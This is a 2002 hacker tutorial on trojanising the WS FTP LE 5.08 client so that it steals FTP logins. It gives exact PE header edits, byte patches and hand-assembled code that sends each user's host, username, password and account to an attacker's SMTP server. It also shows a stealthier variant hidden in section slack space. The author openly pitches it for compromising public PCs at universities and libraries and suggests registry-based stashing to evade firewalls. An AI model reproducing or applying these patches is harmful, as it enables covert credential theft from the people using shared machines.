- Backdooring Win32 Applications - PART ONE: Backdooring WS FTP 5.08 LE Completed on 03-29-02 (MM-DD-YY) By: [ByteRage] ****** INDEX: Introduction 0. - Foreword 1. - Audience 2. - Methodologies 3. - Reverse engineering our target 3.1 Pinpointing where we should make the detour 3.2 Pinpointing where the login/password information is stored 4. - Patching the executable : First approach (new section) 4.1 Adding a section by modifying the PE header 4.2 Making the patches 4.3 Adding the extra code 4.4 The finished patch 5. - Patching the executable : Second approach (fit into sections) 5.1 Modifying the PE header 5.2 Making the patches 5.3 Inserting the code 5.4 The finished patch 6. - Last words **************************************************************** 0. Foreword In this first tutorial I will (un)cover some techniques to backdoor the popular FTP client WS FTP LE (5.08)... The main focus will be to implement a password snatching backdoor. It will intercept the password the user types and then pass it on to the attacker... This technique is interesting for hacking public PCs like the ones you can find at universities, local libaries, or whatever the hell you see fit... 1. Audience Since this tutorial covers a more advanced topic, knowledge of 32-bit Intel assembler is required to understand it... I'm not going to rehash the basics like what registers and flags are and do, so refer to your assembly book for that. You should also be familiar with the PE file format, but given the specs and a program like dumpbin or pedump, and some messing around it isn't that difficult to grasp the minimal knowledge required for making the necessary patches. 2. Methodologies Before we change anything to our target, we will reverse engineer it to investigate how it works. First of all, we have to pinpoint where we will patch the original program so that it makes a detour to our backdoor. Second of all, we have to know where our passwords are in memory when our detour is made. Then, there are three possible approaches to patch the PE executable : (1) add an extra section (2) expand the last section (3) using the free space in existing sections The main advantage of the third method is that it doesn't increase the filelength of our target, nor does it require adding an extra section, making it a more stealth technique... In our first patching approach, we will implement the first method, and in the second approach, we will optimize our code for size, and fit it into the existing sections (third method). 3. Reverse engineering our target 3.1 Pinpointing where we should make the detour We are going to intercept passwords by adding a backdoor to the executable. To accomplish this we first need to reverse engineer the program to see where the program handles the USER/PASS combinations. As you'll see, at that point we can make a simple detour from the password handling system to a code section we add that will snatch the passwords. Since we are dealing with an FTP-client here, we can search for strings like "USER" and "PASS" with a deadlister program like W32Dasm or IDA (Pro) and we'll soon get to the place where the program is messing around with some passwords :) Here's such a piece of code : * Possible StringData Ref from Data Obj ->"PASS " | :00415E7A 688CFA4200 push 0042FA8C :00415E7F 50 push eax :00415E80 E8CBAF0000 call 00420E50 :00415E85 83C40C add esp, 0000000C :00415E88 85C0 test eax, eax :00415E8A 7507 jne 00415E93 * Possible StringData Ref from Data Obj ->"PASS (hidden)" | :00415E8C 6898144300 push 00431498 :00415E91 EB45 jmp 00415ED8 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00415E8A(C) | :00415E93 8D442408 lea eax, dword ptr [esp+08] * Possible Reference to String Resource ID=00005: "Non-recoverable: refused or not implemented" | :00415E97 6A05 push 00000005 * Possible StringData Ref from Data Obj ->"ACCT " | :00415E99 6890144300 push 00431490 :00415E9E 50 push eax :00415E9F E8ACAF0000 call 00420E50 :00415EA4 83C40C add esp, 0000000C :00415EA7 85C0 test eax, eax :00415EA9 7507 jne 00415EB2 * Possible StringData Ref from Data Obj ->"ACCT (hidden)" | :00415EAB 6880144300 push 00431480 :00415EB0 EB26 jmp 00415ED8 The "PASS (hidden)" and "ACCT (hidden)" strings are shown by the ftp client when the user logs in... We can add a detour by patching the two push xxxxxxxx; jmp 00415ED8 instructions by two jumps that jump to two different places in our snatching code (because we still have to do the push xxxxxxxx after our jump, which takes 5 bytes) : ; patched code 6898144300 patch to -> E9xxxxxxxx JMP ENTRY1 EB45 9090 NOP; NOP 6880144300 patch to -> E9xxxxxxxx JMP ENTRY2 EB26 9090 NOP; NOP [...] ; appended code ; do the pushes ENTRY1: push 00431498 jmp @1 ENTRY2: push 00431480 @1: ; snatch the password [...] ; jump back to the original program jmp 00415ED8 3.2 Pinpointing where the login/password information is stored There are different methods to get this type of information, but since we get a dialog where we have to type in our password, we can try to get the password location by stepping through the program code with SoftICE. This type of reverse engineering is done alot to break serial numbers. Go through the following steps : - start WSFTP, go to the screen where you set the host/login/acct/pass/... - hit CTRL+D to go to SoftICE, then type : BPX GetDlgItemTextA and hit CTRL+D to go back to windows - type some login/password/... hit the button - softice will break the program execution a couple of times, for every field we just filled in... - after tracing through the program, and dumping some memory, with SoftICE's D command, we can conclude that : -> the ftp hostname is at 00437BD0 -> the login (USER) is at 00437CD0 -> the password (PASS) is at 00437D20 -> the account (ACCT) is at 00437D70 4. Patching the executable : First approach (new section) 4.1 Adding a section by modifying the PE header Before we can add our code to the file, we must modify the header. When we take a look at the current EXE file's contents with PE dump or dumpbin we get the following information about the used sections : [...] Number of Sections: 0006 [...] Section Table 01 .text VirtSize: 0002B17D VirtAddr: 00001000 raw data offs: 00000400 raw data size: 0002B200 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 60000020 CODE EXECUTE READ ALIGN_DEFAULT(16) 02 .rdata VirtSize: 00001D62 VirtAddr: 0002D000 raw data offs: 0002B600 raw data size: 00001E00 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 40000040 INITIALIZED_DATA READ ALIGN_DEFAULT(16) 03 .data VirtSize: 0000E20C VirtAddr: 0002F000 raw data offs: 0002D400 raw data size: 00004A00 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: C0000040 INITIALIZED_DATA READ WRITE ALIGN_DEFAULT(16) 04 .idata VirtSize: 000019F8 VirtAddr: 0003E000 raw data offs: 00031E00 raw data size: 00001A00 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: C0000040 INITIALIZED_DATA READ WRITE ALIGN_DEFAULT(16) 05 .rsrc VirtSize: 000303B0 VirtAddr: 00040000 raw data offs: 00033800 raw data size: 00030400 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 40000040 INITIALIZED_DATA READ ALIGN_DEFAULT(16) 06 .reloc VirtSize: 00004BD6 VirtAddr: 00071000 raw data offs: 00063C00 raw data size: 00004C00 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 42000040 INITIALIZED_DATA DISCARDABLE READ ALIGN_DEFAULT(16) The first thing we'll have to do is increase the "Number Of Sections" word by one, in the case of WS-FTP, this word is located at offset 086h, hence we change the byte from 06 to 07 with a hexeditor. Now, we should also add an extra entry to the Section Table, here's how our section table entry could look like : 07 .txt2 VirtSize: 00000400 VirtAddr: 00076000 raw data offs: 00068800 raw data size: 00000400 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: E0000020 CODE EXECUTE READ WRITE ALIGN_DEFAULT(16) This section entry allocates 1024 bytes (400 in hex) in memory (VirtSize) a bit after the .reloc section, which ends somewhere around virtual address 00075BD5 (VirtAddr). When the program gets loaded, we want to load the bytes starting at offset 068800h in the binary file into this allocated space... (raw data size says that this will be 1024 bytes, but it can be less, since the loader will also stop when it reaches the end of the file) We set the flags (characteristics) of this section to CODE+EXECUTE+READ+WRITE, because our added code will have to be executable (duh) and it also includes data, which we want to manipulate at will. We name our section .txt2, not to arouse too much suspicion when somebody examines the file with a hexeditor... (you could also name it .l33t for example, but that would be a bit stupid) 4.2 Making the patches Now that we know that our added code will be located at virtual address 00476000, we can patch the main program to make the detour : ; CODE PATCHES change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8) change to : E9 6F 01 06 00 90 90 (JMP 00476000 (ENTRY1); NOP; NOP) change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8) change to : E9 5F 01 06 00 90 90 (JMP 00476007 (ENTRY2); NOP; NOP) ; CODE AT 476000: (appended to the file) ENTRY1: 6898144300 PUSH 00431498 EB05 JMP @1 ENTRY2: 6880144300 PUSH 00431480 @1: [...] JMP 00415ED8 This works, but it doesn't do much interesting (yet)... So let's go on to the next step... 4.3 Adding the extra code Adding this password snatching code is just like writing a buffer overflow exploit, it's just easier, since we don't have to care about NULL characters, and we can rely upon the IAT (Import Address Table) of our target... Since our target is an internet client, this means that alot of the functionality that we need will be available (like socket(), connect(), send(), recv(), closesocket()...) if we want it to transfer things from/to the internet. So we probably won't have to implement an imports loader using the LoadLibrary / GetProcAddress API, and we definitely wont have to encrypt our string table to eliminate NULL characters when we do! The code I've used here does the following : - decrypt the socket_in (sin) structure and SMTP commands with an XOR decryption loop - get a socket handle via socket() (function already imported by our target(IAT)) - make a tcp connection via connect() (in IAT as well) - use the handle to send() some commands to an SMTP server (IAT) - close the tcp connection via closesocket() (IAT) When I say I use functions using the IAT, I mean I can figure out how to CALL these functions by using a program like W32Dasm / IDA by checking how the program CALLs them itself... Both W32Dasm and IDA give lists of all these imported functions... 4.4 The finished patch ; ---------------------------------------- ; WS FTP 5.08 PASSWORD SNATCHER CODE PATCH ; ---------------------------------------- ; PE HEADER FIX: (ADD NEW SECTION, LENGTH 0400h BYTES) ; 00000086: db 07h ; 00000268: db ".txt2",00h,00h,00h ; 00000270: db 00h,04h,00h,00h ; 00000274: db 00h,60h,07h,00h ; 00000278: db 00h,04h,00h,00h ; 0000027C: db 00h,88h,06h,00h ; 0000028C: db 20h,00h,00h,E0h ; CODE PATCHES TO THE ORIGINAL BINARY change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8) change to : E9 6F 01 06 00 90 90 (JMP 00476000 (ENTRY1); NOP; NOP) change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8) change to : E9 5F 01 06 00 90 90 (JMP 00476007 (ENTRY2); NOP; NOP) ; CODE TO APPEND: ; 00476000: ENTRY1: 6898144300 PUSH 00431498 EB05 JMP @1 ENTRY2: 6880144300 PUSH 00431480 @1: 60 PUSHAD BEC0604700 MOV ESI,004760C0 33C9 XOR ECX,ECX B15E MOV CL,05E @2: 803699 XOR B,[ESI],099 46 INC ESI E2FA LOOP @2 6A00 PUSH 00 6A01 PUSH 01 6A02 PUSH 02 E8219DFAFF CALL WSOCK32!socket (.41FD48) 96 XCHG ESI,EAX 6A10 PUSH 10 68C0604700 PUSH offset sin 56 PUSH ESI E8199DFAFF CALL WSOCK32!connect (.41FD4E) BFD0604700 MOV EDI, offset mailfrom E85C000000 CALL SENDSTRING BFF0604700 MOV EDI, offset rcptto E852000000 CALL SENDSTRING BF10614700 MOV EDI, offset data E848000000 CALL SENDSTRING BFD07B4300 MOV EDI, 437BD0 (->hostname) E83E000000 CALL SENDSTRING BFD07C4300 MOV EDI, 437CD0 (->username) E834000000 CALL SENDSTRING BF207D4300 MOV EDI, 437D20 (->password) E82A000000 CALL SENDSTRING BF707D4300 MOV EDI, 437D70 (->account) E820000000 CALL SENDSTRING BF15614700 MOV EDI, offset eom E816000000 CALL SENDSTRING BF19614700 MOV EDI, offset quit E80C000000 CALL SENDSTRING 56 PUSH ESI E87D9CFAFF CALL WSOCK32!closesocket (.41FD12) 61 POPAD E93DFEF9FF JMP .000415ED8 ; 0047609B: ; SENDSTRING sends a command to the SMTP server followed by a CR/LF ; given a NULL terminated string PROC SENDSTRING 57 PUSH EDI ; save EDI 83C9FF OR ECX,-01 ; get the length of the string 33C0 XOR EAX,EAX F2AE REPNE SCASB F7D1 NOT ECX 5F POP EDI 6A00 PUSH 000 ; send() string using the string length 51 PUSH ECX 57 PUSH EDI 56 PUSH ESI E8489CFAFF CALL WSOCK32!send (.41FD00) 6A00 PUSH 000 ; send() CR/LF which we take from EOM string 6A02 PUSH 002 6815614700 PUSH offset eom 53 PUSH EBX E8399CFAFF CALL WSOCK32!send (.41FD00) C3 RETN SENDSTRING ENDP ; XOR this data with 099h and append ; 004760C0: sin db 02h, 00h, 00h, 19h, ; port #25 7fh, 00h, 00h, 01h, ; ip # SMTP server 00h, 00h, 00h, 00h, 00h, 00h, 00h, 00h ; 004760D0: mailfrom db "MAIL FROM:",00h ; [...] (padding) : 004760F0: rcptto db "RCPT TO:",00h ; [...] (padding) : 00476110: data db "DATA",00h : 00476115: eom db 0dh,0ah,2eh,00h : 00476119: quit db "QUIT",00h 5. Patching the executable : Second approach (fit into existing sections) 5.1 Modifying the PE header When we take a look at the first two section entries in our section table : 01 .text VirtSize: 0002B17D VirtAddr: 00001000 raw data offs: 00000400 raw data size: 0002B200 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 60000020 CODE EXECUTE READ ALIGN_DEFAULT(16) 02 .rdata VirtSize: 00001D62 VirtAddr: 0002D000 raw data offs: 0002B600 raw data size: 00001E00 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 40000040 INITIALIZED_DATA READ ALIGN_DEFAULT(16) We can see that the raw data size of the two segments is a bit bigger than the virtual size... This means that some of the space used in the file is not used, as it doesn't get copied to memory. We can use this space to put our backdoor code in... With some simple calculations we find that we have 2B200-2B17D = 131 bytes available at the end of the .text segment and 1E00-1D62 = 158 bytes in the .rdata segment. Since our code takes up 281 bytes, we have to split it up... We can easily divide our code across the segments like this : ENTRYPOINTS : 12 bytes --> .rdata MAIN CODE (optimized a bit) : 106 bytes --> .rdata SENDSTRING : 37 bytes --> .rdata DATA : 94 bytes --> .text We change the section entries of the first two sections to these : 01 .text VirtSize: 0002B200 VirtAddr: 00001000 raw data offs: 00000400 raw data size: 0002B200 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: E0000020 CODE EXECUTE READ WRITE ALIGN_DEFAULT(16) (set READ+WRITE flags for manipulating our data, set virtsize = raw data size) 02 .rdata VirtSize: 00001E00 VirtAddr: 0002D000 raw data offs: 0002B600 raw data size: 00001E00 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 40000040 INITIALIZED_DATA READ ALIGN_DEFAULT(16) (set virtsize = raw data size) 5.2 Making the patches This is the same as in 4.2, we only have to change our destination addresses : change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8) change to : E9 D1 8E 01 00 90 90 (JMP 0042ED62 (ENTRY1); NOP; NOP) change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8) change to : E9 B9 8E 01 00 90 90 (JMP 0042ED69 (ENTRY2); NOP; NOP) 5.3 Adding the extra code The code remains the same (although I made some small optimizations)... We only move it to the different locations and adapt the adresses. 5.4 The finished patch ; ------------------------------------------------------ ; WS FTP 5.08 PASSWORD SNATCHER CODE PATCH (2nd version) ; ------------------------------------------------------ ; PE HEADER FIX: (MODIFY EXISTING SECTIONS) ; 00000180: db 00h,B2h ; 0000019F: db E0h ; 000001A8: db 00h,1Eh ; CODE PATCHES TO THE ORIGINAL BINARY change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8) change to : E9 D1 8E 01 00 90 90 (JMP 0042ED62 (ENTRY1); NOP; NOP) change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8) change to : E9 B9 8E 01 00 90 90 (JMP 0042ED69 (ENTRY2); NOP; NOP) ; XOR this data with 099h and put it into the .text section ; 0042C17D: sin db 02h, 00h, 00h, 19h, ; port #25 7fh, 00h, 00h, 01h, ; ip # SMTP server 00h, 00h, 00h, 00h, 00h, 00h, 00h, 00h ; 0042C18D: mailfrom db "MAIL FROM:",00h ; [...] (padding) ; 0042C1AD: rcptto db "RCPT TO:",00h ; [...] (padding) ; 0042C1CD: data db "DATA",00h ; 0042C1D2: eom db 0dh,0ah,2eh,00h ; 0042C1D6: quit db "QUIT",00h ; the following code is put into the .rdata section : ; 0042ED62: ENTRY1: 6898144300 PUSH 00431498 EB05 JMP @1 ; 0042ED69: ENTRY2: 6880144300 PUSH 00431480 @1: 60 PUSHAD BE7DC14200 MOV ESI,0042C17D 33C9 XOR ECX,ECX B15E MOV CL,05E @2: 803699 XOR B,[ESI],099 46 INC ESI E2FA LOOP @2 6A00 PUSH 00 6A01 PUSH 01 6A02 PUSH 02 E8BF0FFFFF CALL WSOCK32!socket (.41FD48) 96 XCHG ESI,EAX 6A10 PUSH 10 687DC14200 PUSH offset sin 56 PUSH ESI E8B70FFFFF CALL WSOCK32!connect (.41FD4E) BF8DC14200 MOV EDI, offset mailfrom BDD8ED4200 MOV EBP, SENDSTRING ; optimized the SENDSTRING calls for size FFD5 CALL EBP FFD5 CALL EBP FFD5 CALL EBP BFD07B4300 MOV EDI, 437BD0 (->hostname) FFD5 CALL EBP BFD07C4300 MOV EDI, 437CD0 (->username) FFD5 CALL EBP BF207D4300 MOV EDI, 437D20 (->password) FFD5 CALL EBP BF707D4300 MOV EDI, 437D70 (->account) FFD5 CALL EBP BFD2C14200 MOV EDI, offset eom FFD5 CALL EBP FFD5 CALL EBP 56 PUSH ESI E8400FFFFF CALL CALL WSOCK32!closesocket (.41FD12) 61 POPAD E90071FEFF JMP .000415ED8 ; SENDSTRING sends a command to the SMTP server followed by a CR/LF ; given a NULL terminated string PROC SENDSTRING 57 PUSH EDI ; save EDI 83C9FF OR ECX,-01 ; get the length of the string 33C0 XOR EAX,EAX F2AE REPNE SCASB F7D1 NOT ECX 5A POP EDX 6A00 PUSH 000 ; send() string using the string length 51 PUSH ECX 52 PUSH EDX 56 PUSH ESI E8130FFFFF CALL WSOCK32!send (.41FD00) 6A00 PUSH 000 ; send() CR/LF which we take from EOM string 6A02 PUSH 002 68D2C14200 PUSH offset eom 53 PUSH EBX E8040FFFFF CALL WSOCK32!send (.41FD00) C3 RETN SENDSTRING ENDP 6. Last words In this tutorial, I have shown you how to implement a password snatching backdoor that sends the user's passwords on a public computer to the attacker's e-mail address via the SMTP protocol... This technique might seem stealthy enough, but in case one is planning to backdoor a publicly accessible network that is supposed to have some security policy (firewalls / proxies), it might still be a bit noisy, or it might not work to establish an internet connection to the SMTP server the attacker is planning to use. Therefor, one might consider making a backdoor that doesn't send the (encrypted) passwords over the network (via SMTP, HTTP GET/POST, or even IRC), but one that simply saves them locally where anyone can access it, so that the attacker can rip the saved passwords later, when he accesses the public PC again. The windows registry would be an ideal hiding place for this... [ByteRage] (byterage@yahoo.com) -EOF-